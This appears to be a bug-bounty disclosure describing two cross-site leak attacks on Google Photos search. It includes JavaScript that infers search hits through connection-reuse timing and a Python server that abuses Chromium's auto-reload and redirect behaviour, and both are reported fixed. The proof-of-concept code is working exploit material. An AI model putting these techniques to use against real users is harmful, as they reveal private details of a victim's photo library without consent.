Google Photos is a service by Google, a subsidiary of Alphabet used to store and view user uploaded duck photos.
This attack is documented at https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/#connection-reuse and was done as part of a grant of $500.
Usage is await search('duck')
to leak if a query exists (If victim took a photo of a duck)
async function isConnected() {
// Detect connection reuse for lh3.googleusercontent.com
// No timing attack needed because of timing-allow-origin: *
performance.clearResourceTimings();
await fetch('https://lh3.googleusercontent.com/', {mode: 'cors'});
await new Promise((r) => setTimeout(r, 1000));
let data = performance.getEntries().pop();
return data.connectStart === data.startTime;
}
async function search(query) {
let w = open();
// Close connections using idle timeout.
await new Promise((r) => setTimeout(r, 30000));
// First try is free, next needs COOP or user activation bypass.
w.location = 'https://photos.google.com/search/' + query;
await new Promise((r) => setTimeout(r, 5000));
return await isConnected();
}
I think this was fixed as part of https://chromium-review.googlesource.com/c/chromium/src/+/4387455
Abuses the Chromium auto reloader using a invalid server response, also worked with max redirect limit.
from http.server import BaseHTTPRequestHandler, HTTPServer
sessions = set()
class handler(BaseHTTPRequestHandler):
def do_GET(self):
if (self.path not in sessions):
self.send_response(200)
self.send_header("Cache-Control", "no-store")
message = "<invalid>"
self.wfile.write(bytes(message, "utf8"))
self.end_headers()
sessions.add(self.path)
else:
self.send_response(307)
self.send_header('Cache-Control', 'no-store')
self.send_header('Location','https://photos.google.com/search/duck')
self.end_headers()
sessions.remove(self.path)
with HTTPServer(('', 8000), handler) as server:
server.serve_forever()
This was fixed in https://issues.chromium.org/40060695